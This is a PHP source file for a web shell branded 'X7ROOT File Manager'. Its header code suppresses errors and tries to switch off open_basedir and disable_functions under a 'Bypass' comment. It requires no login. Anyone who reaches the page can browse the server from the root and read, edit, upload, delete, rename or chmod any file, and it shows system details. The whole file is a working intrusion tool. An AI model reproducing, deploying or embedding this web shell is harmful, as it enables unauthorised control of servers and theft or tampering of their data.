<?php
// Dark X7ROOT X7ROOT File Manager - Clean Version
@error_reporting(0);
@ini_set('display_errors', 0);

// Bypass
if(function_exists('ini_set')) {
    @ini_set('open_basedir', NULL);
    @ini_set('disable_functions', '');
}

// Functions
function writeFile($file, $data) { return @file_put_contents($file, $data) !== false; }
function readFileContent($file) { return @file_get_contents($file) ?: ''; }
function scanDirectory($dir) { return @scandir($dir) ?: []; }

// Get path
$currentPath = $_GET['p'] ?? @getcwd() ?: '.';
$currentPath = rtrim(str_replace(['\\','//'], '/', $currentPath), '/') . '/';
if(!@is_dir($currentPath)) $currentPath = './';

// Actions
$message = '';
if($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Upload
    if(isset($_FILES['upload'])) {
        $destination = $currentPath . basename($_FILES['upload']['name']);
        $message = @move_uploaded_file($_FILES['upload']['tmp_name'], $destination) || 
                   writeFile($destination, readFileContent($_FILES['upload']['tmp_name'])) 
            ? '<span style="color:#00ff00">✓ Uploaded</span>' 
            : '<span style="color:#ff0000">✗ Upload failed</span>';
    }
    // New
    if(isset($_POST['new'])) {
        $path = $currentPath . $_POST['new'];
        if(isset($_POST['type']) && $_POST['type'] === 'dir') {
            $message = @mkdir($path) ? '<span style="color:#00ff00">✓ Folder created</span>' : 
                                      '<span style="color:#ff0000">✗ Failed</span>';
        } else {
            $message = writeFile($path, $_POST['content'] ?? '') ? '<span style="color:#00ff00">✓ File created</span>' : 
                                                                  '<span style="color:#ff0000">✗ Failed</span>';
        }
    }
    // Save
    if(isset($_POST['save']) && isset($_POST['data'])) {
        $message = writeFile($currentPath . $_POST['save'], $_POST['data']) ? 
                  '<span style="color:#00ff00">✓ Saved</span>' : 
                  '<span style="color:#ff0000">✗ Save failed</span>';
    }
    // Rename
    if(isset($_POST['oldname']) && isset($_POST['newname'])) {
        $message = @rename($currentPath . $_POST['oldname'], $currentPath . $_POST['newname']) ? 
                  '<span style="color:#00ff00">✓ Renamed</span>' : 
                  '<span style="color:#ff0000">✗ Failed</span>';
    }
    // Chmod
    if(isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) {
        $message = @chmod($currentPath . $_POST['chmod_item'], octdec($_POST['chmod_value'])) ? 
                  '<span style="color:#00ff00">✓ Permissions changed</span>' : 
                  '<span style="color:#ff0000">✗ Failed</span>';
    }
}

// GET actions
if(isset($_GET['action'])) {
    $item = $_GET['item'] ?? '';
    $itemPath = $currentPath . $item;
    
    if($_GET['action'] === 'delete') {
        if(@is_file($itemPath)) {
            $message = @unlink($itemPath) ? '<span style="color:#00ff00">✓ Deleted</span>' : 
                                          '<span style="color:#ff0000">✗ Failed</span>';
        } elseif(@is_dir($itemPath)) {
            $message = @rmdir($itemPath) ? '<span style="color:#00ff00">✓ Deleted</span>' : 
                                         '<span style="color:#ff0000">✗ Failed</span>';
        }
    } elseif($_GET['action'] === 'download' && @is_file($itemPath)) {
        @ob_clean();
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($itemPath).'"');
        @readfile($itemPath);
        exit;
    }
}

// Scan directory
$items = array_diff(scanDirectory($currentPath), ['.', '..']);
$folders = [];
$files = [];
foreach($items as $item) {
    @is_dir($currentPath.$item) ? $folders[] = $item : $files[] = $item;
}
sort($folders);
sort($files);

// System info
$systemInfo = [
    'PHP' => @phpversion(),
    'OS' => @php_uname('s'),
    'User' => @get_current_user()
];
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>X7ROOT File Manager</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:'Arial', sans-serif; }
        body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
        
        .container { 
            background:#111; 
            border:1px solid #ff0000; 
            max-width:1400px; 
            margin:0 auto; 
            border-radius:5px;
            overflow:hidden;
        }
        
        .header { 
            background:#222; 
            padding:15px; 
            border-bottom:2px solid #ff0000; 
            color:#fff; 
        }
        
        .header h1 { 
            color:#ff0000; 
            font-size:20px; 
            margin-bottom:10px; 
        }
        
        .system-info { 
            display:flex; 
            gap:15px; 
            font-size:12px; 
            color:#888; 
        }
        
        .path-navigation { 
            background:#1a1a1a; 
            padding:12px 15px; 
            border-bottom:1px solid #333; 
            display:flex; 
            align-items:center;
            flex-wrap:wrap;
            gap:5px;
        }
        
        .path-navigation a { 
            color:#00ff00; 
            text-decoration:none; 
            padding:5px 10px; 
            background:#222; 
            border-radius:3px;
            font-size:13px;
        }
        
        .path-navigation a:hover { 
            background:#333; 
            color:#fff; 
        }
        
        .tools { 
            padding:12px 15px; 
            background:#1a1a1a; 
            border-bottom:1px solid #333; 
            display:flex; 
            gap:8px; 
        }
        
        .button { 
            background:#222; 
            color:#ccc; 
            border:1px solid #666; 
            padding:8px 15px; 
            cursor:pointer; 
            border-radius:3px;
            font-size:13px;
            text-decoration:none;
            display:inline-flex;
            align-items:center;
            gap:5px;
        }
        
        .button:hover { 
            background:#333; 
            border-color:#00ff00; 
            color:#fff; 
        }
        
        .button-green { 
            border-color:#00ff00; 
            color:#00ff00; 
        }
        
        .button-red { 
            border-color:#ff0000; 
            color:#ff0000; 
        }
        
        .message { 
            padding:12px; 
            background:#1a1a1a; 
            border-bottom:1px solid #333; 
            text-align:center;
            font-weight:bold;
        }
        
        .file-table { 
            width:100%; 
            color:#ccc; 
            border-collapse:collapse;
        }
        
        .file-table th { 
            background:#222; 
            padding:12px 15px; 
            text-align:left; 
            border-bottom:2px solid #ff0000; 
            color:#fff; 
            font-size:13px;
        }
        
        .file-table td { 
            padding:10px 15px; 
            border-bottom:1px solid #333; 
            font-size:14px;
        }
        
        .file-table tr:hover { 
            background:#1a1a1a; 
        }
        
        .folder-link { 
            color:#00ff00; 
            font-weight:bold; 
            text-decoration:none;
            display:flex;
            align-items:center;
            gap:8px;
        }
        
        .file-link { 
            color:#ccc; 
            text-decoration:none;
            display:flex;
            align-items:center;
            gap:8px;
        }
        
        .folder-link:hover, .file-link:hover { 
            color:#fff; 
        }
        
        .size { 
            color:#888; 
        }
        
        .permissions { 
            font-family:'Courier New', monospace; 
            color:#ff9900; 
            background:#222; 
            padding:4px 8px; 
            border-radius:3px;
            font-size:12px;
        }
        
        .actions { 
            display:flex; 
            gap:5px; 
        }
        
        .action-button { 
            padding:5px 10px; 
            background:#222; 
            color:#ccc; 
            border:1px solid #666; 
            font-size:11px; 
            cursor:pointer; 
            text-decoration:none;
            border-radius:3px;
        }
        
        .action-button:hover { 
            background:#333; 
            border-color:#00ff00; 
        }
        
        .action-button-red { 
            border-color:#ff0000; 
            color:#ff0000; 
        }
        
        textarea { 
            width:100%; 
            height:400px; 
            background:#000; 
            color:#00ff00; 
            border:1px solid #ff0000; 
            padding:15px; 
            font-family:'Courier New', monospace;
            font-size:14px;
            border-radius:3px;
        }
        
        input[type="text"] { 
            background:#000; 
            color:#fff; 
            border:1px solid #666; 
            padding:8px; 
            border-radius:3px;
            width:300px;
        }
        
        .edit-container {
            padding:20px;
            background:#000;
            border-bottom:1px solid #333;
        }
        
        .edit-title {
            color:#00ff00;
            margin-bottom:15px;
            font-size:16px;
        }
        
        @media (max-width: 768px) {
            .tools { flex-direction:column; }
            .button, .action-button { width:100%; text-align:center; }
            input[type="text"] { width:100%; }
            .file-table th, .file-table td { padding:8px 10px; font-size:12px; }
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>X7ROOT File Manager</h1>
            <div class="system-info">
                <?php foreach($systemInfo as $key=>$value): ?>
                    <span><?=$key?>: <b style="color:#ff9900"><?=$value?></b></span>
                <?php endforeach; ?>
            </div>
        </div>
        
        <?php if($message): ?>
            <div class="message"><?=$message?></div>
        <?php endif; ?>
        
        <div class="path-navigation">
            <a href="?p=/">Root</a>
            <?php 
            $parts = explode('/', trim($currentPath, '/'));
            $current = '';
            foreach($parts as $part):
                if($part):
                    $current .= '/' . $part;
            ?>
                <span style="color:#666">/</span>
                <a href="?p=<?=$current?>/"><?=$part?></a>
            <?php 
                endif;
            endforeach; 
            ?>
        </div>
        
        <div class="tools">
            <form method="post" enctype="multipart/form-data" style="display:inline;">
                <input type="file" name="upload" style="display:none" id="upload" onchange="this.form.submit()">
                <button type="button" class="button button-green" onclick="document.getElementById('upload').click()">
                    📤 Upload
                </button>
            </form>
            
            <button class="button" onclick="newFile()">📝 New File</button>
            <button class="button" onclick="newFolder()">📁 New Folder</button>
            
            <?php if(isset($_GET['edit'])): ?>
                <a href="?p=<?=urlencode($currentPath)?>" class="button button-red">Close</a>
            <?php endif; ?>
        </div>
        
        <?php if(isset($_GET['edit'])): ?>
            <div class="edit-container">
                <div class="edit-title">Editing: <?=htmlspecialchars($_GET['edit'])?></div>
                <form method="post">
                    <input type="hidden" name="save" value="<?=htmlspecialchars($_GET['edit'])?>">
                    <textarea name="data"><?=htmlspecialchars(readFileContent($currentPath.$_GET['edit']))?></textarea>
                    <div style="margin-top:15px;display:flex;gap:8px;">
                        <button class="button button-green">Save</button>
                        <a href="?p=<?=urlencode($currentPath)?>" class="button button-red">Cancel</a>
                    </div>
                </form>
            </div>
        <?php else: ?>
            <table class="file-table">
                <thead>
                    <tr>
                        <th width="40%">Name</th>
                        <th width="10%">Size</th>
                        <th width="15%">Permissions</th>
                        <th width="15%">Modified</th>
                        <th width="20%">Actions</th>
                    </tr>
                </thead>
                <tbody>
                    <?php if($currentPath !== '/'): ?>
                        <tr>
                            <td colspan="5">
                                <a href="?p=<?=urlencode(dirname($currentPath))?>" class="folder-link">
                                    📂 Parent Directory
                                </a>
                            </td>
                        </tr>
                    <?php endif; ?>
                    
                    <?php foreach($folders as $folder): ?>
                        <?php 
                        $folderPath = $currentPath.$folder; 
                        $permissions = substr(sprintf('%o', @fileperms($folderPath)), -3);
                        ?>
                        <tr>
                            <td>
                                <a href="?p=<?=urlencode($folderPath)?>" class="folder-link">
                                    📁 <?=htmlspecialchars($folder)?>
                                </a>
                            </td>
                            <td class="size">-</td>
                            <td><span class="permissions"><?=$permissions?></span></td>
                            <td><?=@filemtime($folderPath) ? date('Y-m-d H:i', @filemtime($folderPath)) : '-'?></td>
                            <td>
                                <div class="actions">
                                    <button onclick="renameItem('<?=htmlspecialchars($folder)?>')" class="action-button">Rename</button>
                                    <button onclick="changePermissions('<?=htmlspecialchars($folder)?>','<?=$permissions?>')" class="action-button">Chmod</button>
                                    <a href="?p=<?=urlencode($currentPath)?>&action=delete&item=<?=urlencode($folder)?>" 
                                       onclick="return confirm('Delete this folder?')" 
                                       class="action-button action-button-red">Delete</a>
                                </div>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                    
                    <?php foreach($files as $file): ?>
                        <?php 
                        $filePath = $currentPath.$file; 
                        $size = @filesize($filePath); 
                        $permissions = substr(sprintf('%o', @fileperms($filePath)), -3);
                        $extension = strtolower(pathinfo($file, PATHINFO_EXTENSION));
                        $editable = in_array($extension, ['php','html','js','css','txt','json','xml','sql','md']);
                        ?>
                        <tr>
                            <td>
                                <?php if($editable): ?>
                                    <a href="?p=<?=urlencode($currentPath)?>&edit=<?=urlencode($file)?>" class="file-link">
                                        📄 <?=htmlspecialchars($file)?>
                                    </a>
                                <?php else: ?>
                                    <a href="?p=<?=urlencode($currentPath)?>&action=download&item=<?=urlencode($file)?>" class="file-link">
                                        📄 <?=htmlspecialchars($file)?>
                                    </a>
                                <?php endif; ?>
                            </td>
                            <td class="size">
                                <?php if($size): ?>
                                    <?php
                                    if($size < 1024) echo $size . ' B';
                                    elseif($size < 1048576) echo round($size/1024, 1) . ' KB';
                                    elseif($size < 1073741824) echo round($size/1048576, 1) . ' MB';
                                    else echo round($size/1073741824, 1) . ' GB';
                                    ?>
                                <?php else: ?>
                                    -
                                <?php endif; ?>
                            </td>
                            <td><span class="permissions"><?=$permissions?></span></td>
                            <td><?=@filemtime($filePath) ? date('Y-m-d H:i', @filemtime($filePath)) : '-'?></td>
                            <td>
                                <div class="actions">
                                    <?php if($editable): ?>
                                        <a href="?p=<?=urlencode($currentPath)?>&edit=<?=urlencode($file)?>" class="action-button">Edit</a>
                                    <?php endif; ?>
                                    <a href="?p=<?=urlencode($currentPath)?>&action=download&item=<?=urlencode($file)?>" class="action-button">Download</a>
                                    <button onclick="renameItem('<?=htmlspecialchars($file)?>')" class="action-button">Rename</button>
                                    <button onclick="changePermissions('<?=htmlspecialchars($file)?>','<?=$permissions?>')" class="action-button">Chmod</button>
                                    <a href="?p=<?=urlencode($currentPath)?>&action=delete&item=<?=urlencode($file)?>" 
                                       onclick="return confirm('Delete this file?')" 
                                       class="action-button action-button-red">Delete</a>
                                </div>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                    
                    <?php if(empty($folders) && empty($files)): ?>
                        <tr>
                            <td colspan="5" style="text-align:center;padding:40px;color:#666;">
                                Empty directory
                            </td>
                        </tr>
                    <?php endif; ?>
                </tbody>
            </table>
        <?php endif; ?>
    </div>
    
    <script>
        function newFile() {
            var fileName = prompt('File name:', 'newfile.txt');
            if(fileName) {
                var content = prompt('Content (optional):', '');
                var form = document.createElement('form');
                form.method = 'post';
                form.innerHTML = '<input type="hidden" name="new" value="' + fileName + '">' +
                                '<input type="hidden" name="content" value="' + (content || '') + '">';
                document.body.appendChild(form);
                form.submit();
            }
        }
        
        function newFolder() {
            var folderName = prompt('Folder name:', 'newfolder');
            if(folderName) {
                var form = document.createElement('form');
                form.method = 'post';
                form.innerHTML = '<input type="hidden" name="new" value="' + folderName + '">' +
                                '<input type="hidden" name="type" value="dir">';
                document.body.appendChild(form);
                form.submit();
            }
        }
        
        function renameItem(oldName) {
            var newName = prompt('New name:', oldName);
            if(newName && newName !== oldName) {
                var form = document.createElement('form');
                form.method = 'post';
                form.innerHTML = '<input type="hidden" name="oldname" value="' + oldName + '">' +
                                '<input type="hidden" name="newname" value="' + newName + '">';
                document.body.appendChild(form);
                form.submit();
            }
        }
        
        function changePermissions(item, currentPerm) {
            var newPerm = prompt('New permissions (e.g., 755):', currentPerm);
            if(newPerm) {
                var form = document.createElement('form');
                form.method = 'post';
                form.innerHTML = '<input type="hidden" name="chmod_item" value="' + item + '">' +
                                '<input type="hidden" name="chmod_value" value="' + newPerm + '">';
                document.body.appendChild(form);
                form.submit();
            }
        }
    </script>
</body>
</html>